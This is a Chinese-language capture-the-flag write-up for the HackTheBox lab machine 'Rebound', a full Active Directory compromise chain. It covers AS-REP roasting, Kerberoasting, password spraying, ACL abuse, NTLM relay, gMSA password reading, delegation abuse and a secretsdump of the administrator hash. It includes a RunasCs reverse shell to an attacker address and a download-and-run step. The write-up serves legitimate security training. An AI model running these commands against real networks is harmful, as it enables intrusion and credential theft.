端口扫描
smb探测
crackmapexec smb 10.10.11.231 -u anonymous -p "" --shares
RID 枚举
使用 CME 工具对指定主机的 SMB 服务进行扫描,并尝试使用 RID 枚举技术获取主机上的用户和组信息。
RID 枚举(Relative Identifier enumeration)是一种用于获取 Windows 主机上用户和组信息的技术。在 Windows 中,每个安全主体(如用户、组等)都有一个相对标识符(RID),用于在安全描述符中唯一标识该主体。RID 枚举利用这些相对标识符的范围来尝试猜测和枚举主机上的用户和组。
通常情况下,Windows 系统中的用户和组都有一组默认的 RID 范围。例如,管理员用户的 RID 范围可能从 500 开始,而普通用户的 RID 范围可能从 1000 开始。通过尝试枚举这些 RID 范围内的标识符,攻击者可以获取关于主机上用户和组的有用信息,从而进行后续攻击或特权提升
crackmapexec smb 10.10.11.231 -u anonymous -p "" --rid-brute 20000
ASREPRoast
impacket-GetNPUsers rebound.htb/ -usersfile ./xxx -outputfile outputusers.txt -dc-ip 10.129.10.89 -no-pass
查找域当中那些用户设置 'Do not require Kerberos preauthentication' 获取他们的TGT
$krb5asrep$23$jjones@REBOUND.HTB:d0f412d54fc409218d25c2652fe96fdb$db13bb6a0f8516f5af05f9eb5b0c995c7c83e36d9a373e1af39a7dded6980df013967d7776acca85d6ddf72792aaff54b3db899b64196d20e8fc1052f2764c3755c69da63a6a94a873b5f9fde13f71648cb20d17ac1d45fa12661f8af4774d0ada5db1921e913e1de62d674345afc9b54eab3a6a167e57b4f87d1a20d9abcf321834c20a063dbb87e2d4c257648a6aa6eb452bf8c252869a5578ecff8e54f6926d72bffc74eb17581e8a4f117317684dca0a8f50634a576c018429e98f525c953b2fcecbca96922abf2898a75588f000aaca4b2bf291362ff53c4a05c4cab3c54d848cc6335a04448c56
Kerberoasting
python GetUserSPNs.py -no-preauth "jjones" -usersfile ../xxx -dc-host 10.129.108.163 rebound.htb/ -request
查询目标域中以用户帐户身份运行的服务主体名称(SPN)
john破解
1GR8t@$$4u
密码喷洒
crackmapexec smb 10.10.11.231 -u ../xx -p '1GR8t@$$4u' --continue-on-success -d rebound
添加域名解析
echo '10.10.11.231 rebound.htb dc01.rebound.htb DC01' | sudo tee -a /etc/hosts
很多操作需要同步时钟sudo ntpdate -s dc01.rebound.htb
faketime -f +7h python3 powerview.py rebound.htb/ldap_monitor:'1GR8t@$$4u'@rebound.htb --dc-ip 10.10.11.231 -k
Get-ObjectAcl ServiceMgmt -Server dc01.rebound.htb -ResolveGUIDs
ActiveDirectoryRights
oorend用户的策略
ActiveDirectoryRights (Active Directory权限):这是授予给对象的Active Directory权限。在这里,权限是“Self”,意味着该对象对自身具有特定权限。
oorend账户拥有 ServiceMgmt组的Self访问权限,该权限可以执行验证写入,因此将接下来的步骤是:将用户oorend添加到ServiceMgmt组中->给组添加GenericAll权限->修改用户winrm_svc的密码>通过winrm进入
这句话描述了一个攻击步骤,其目标是利用已获得的权限,以及对目标系统中的特定组和用户的了解,来进一步提升攻击者在系统中的权限。让我们逐步解释这个步骤:
- 将用户oorend添加到ServiceMgmt组中:首先,攻击者计划将已获取的用户账户 "oorend" 添加到名为 "ServiceMgmt" 的组中。这意味着攻击者要利用已知的访问权限来修改组成员资格,以便获取更广泛的权限。
- 给组添加GenericAll权限:一旦攻击者成功将自己添加到 "ServiceMgmt" 组中,接下来的目标是将该组的权限升级为 "GenericAll"。这种权限是一种高级权限,允许持有该权限的用户对组中的对象(例如用户)执行几乎所有操作,包括修改其属性和授予其他权限。
- 修改用户winrm_svc的密码:一旦 "ServiceMgmt" 组被授予了 "GenericAll" 权限,攻击者可以利用这个权限来修改用户 "winrm_svc" 的密码。这样做的目的可能是为了获取对该用户账户的完全控制,以后可能用于远程访问(如通过WinRM)。
- 通过WinRM进入:最后一步是利用已修改的用户 "winrm_svc" 的凭据,通过WinRM服务(Windows远程管理服务)远程登录到目标系统。这样,攻击者可以在目标系统上执行命令和操作,以继续进行后续攻击活动。
#使用oorend的用户凭据向 Active Directory 添加一个用户到指定的组中
faketime -f +7h bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host 10.10.11.231 add groupMember 'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=oorend,CN=Users,DC=rebound,DC=htb"
#获取TGT
faketime -f +7h python3 getTGT.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231
export KRB5CCNAME=oorend.ccache
#给予修改密码的权限
faketime -f +7h python3 dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231 -k -use-ldaps -principal "oorend" -action write -rights ResetPassword -target-dn "OU=SERVICE USERS,DC=REBOUND,DC=HTB" -debug -inheritance
#修改winrm_svc的密码为1GR8t@$$4u
net rpc password winrm_svc -U 'rebound.htb/oorend%1GR8t@$$4u' -S rebound.htb
evil-winrm -i 10.10.11.231 -u winrm_svc -p '1GR8t@$$4u'
NTLM Relay 攻击
RemotePotato0 抓取和窃取登录计算机的用户的 NTLMv2 哈希值
RemotePotato0 是一种攻击工具,利用了 Windows 操作系统中的 NTLM 认证协议漏洞,以提升权限为目标。其工作原理基于以下几个关键步骤:
- NTLM Relay 攻击:RemotePotato0 利用 NTLM Relay 攻击漏洞,将目标主机发送的 NTLM 认证请求中继到攻击者控制的 SMB 或 HTTP 服务器。攻击者可以通过模拟目标服务的响应,诱使目标主机将 NTLM 认证信息发送到攻击者控制的恶意服务器上。
- NTLM 中间人攻击:一旦攻击者获取了目标主机的 NTLM 认证信息,可以将这些信息中继到其他服务或系统上,从而实现中间人攻击。RemotePotato0 将 NTLM 认证信息中继到本地或远程的 Windows Service 进程上,使得该进程以目标用户的权限执行。
- 提权:在攻击者控制的 Windows Service 进程中执行的恶意代码会以目标用户的权限运行。攻击者可以利用这个权限来执行任意命令或获得系统的高级权限,实现提权攻击。
总的来说,RemotePotato0 利用了 Windows 系统中的认证机制漏洞,通过 NTLM 中继和中间人攻击的方式,实现了对目标系统的权限提升,从而达到攻击者的目的。
socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 && sudo python3 /root/hackthebox/impacket-master/examples -t ldap://10.10.11.231 --no-wcf-server --escalate-user winrm_svc.\RemotePotato0.exe -m 2 -r 10.10.14.19 -x 10.10.14.19 -p 9999 -s 1
543BOMBOMBUNmanda
读取GMSA密码
tbrady可以读取DELEGATOR的GMSA密码
GMSA(Group Managed Service Account)密码是一种由Windows Server管理的安全账户,用于管理域成员服务器或工作站上的服务。与普通的服务账户不同,GMSA账户的密码是由域控制器自动管理和更新的,因此它们提供了更高的安全性和便利性。
tbrady不能远程登陆,可以使用RunasCs将shell转发出来
./RunasCs.exe tbrady 543BOMBOMBUNmanda cmd.exe -r 10.10.14.49:9000
nc -lvnp 9000
读取密码
powershell -exec bypass -c "iwr http://10.10.16.4:7777/GMSAPasswordReader.exe -outfile gmsa.exe"C:\temp>gmsa.exe --accountname delegator$
或远程方式获取
faketime -f +7h crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
或
bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb get object 'delegator$' --attr msDS-ManagedPassword
基于资源的约束性委派
S1:browser/dc01.rebound.htb
S2:http/dc01.rebound.htb
*Evil-WinRM* PS C:\Shared> Get-DomainComputer -TrustedToAuth | select serviceprincipalname, name, msds-allowedtodelegateto
DELEGATOR
允许委派http/dc01.rebound.htb
Get-DomainComputer -SPN "browser/dc01.rebound.htb"
拿到delegator$的tgt并导入
impacket-getTGT 'rebound.htb/delegator$' -hashes aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524 -dc-ip 10.10.11.231
设置允许ldap_monitor到delegator的委派
impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -use-ldaps -debug -dc-ip 10.10.11.231
-k
: 使用Kerberos身份验证。-no-pass
: 不需要提供密码。-delegate-from ldap_monitor
: 将权限委派给ldap_monitor
用户。-delegate-to 'delegator$'
: 使用delegator$
用户进行委派。-action write
: 执行写操作。-use-ldaps
: 使用LDAPS(LDAP over SSL/TLS)连接。
这个命令执行后会修改msDS-AllowedToActOnBehalfOfOtherIdentity
,ldap_monitor
现在可以通过S4U2Proxy机制代理其他用户,包括delegator$
msDS-AllowedToActOnBehalfOfOtherIdentity
是 Active Directory 中的属性,用于指定允许一个安全主体(例如用户或计算机账户)代表另一个安全主体执行某些操作的权限。
Get-DomainComputer -TrustedToAuth |select msDS-AllowedToActOnBehalfOfOtherIdentity
msDS-AllowedToActOnBehalfOfOtherIdentity
每隔一段时间都会重置
申请ldap_monitor
的tgt
impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.10.11.231
使用ldap_monitor
的tgt冒充dc01
申请ST,这个ST是不可转发ST
impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass -dc-ip 10.10.11.231
如果用这个st会失败
impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.10.11.231
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
需要通过委派向KDC获取可转发的ST
impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524 -k -no-pass -dc-ip 10.10.11.231
dump administrator hash
impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.10.11.231
遇到的问题
bloodhound-python
总是失败,之后用powershell脚本执行了,尽量使用低版本的,要不最新版本的bloodhound上传解析不了
bloodhound-python -d rebound.htb -u oorend@rebound.htb -p '1GR8t@$$4u' -dc dc01.rebound.htb -c All --auth-method kerberos --zip -ns 10.10.11.231 --dns-timeout 40
查询委派
*Evil-WinRM* PS C:\Shared> Get-NetComputer -Unconstrained -Domain rebound.htb |select namename
----
DC01*Evil-WinRM* PS C:\Shared> Get-DomainComputer -TrustedToAuth -Domain rebound.htb | select namename
----
delegator
Domain Controllers始终允许非约束性委派
参考
域委派攻击详解 - yokan - 博客园 (cnblogs.com)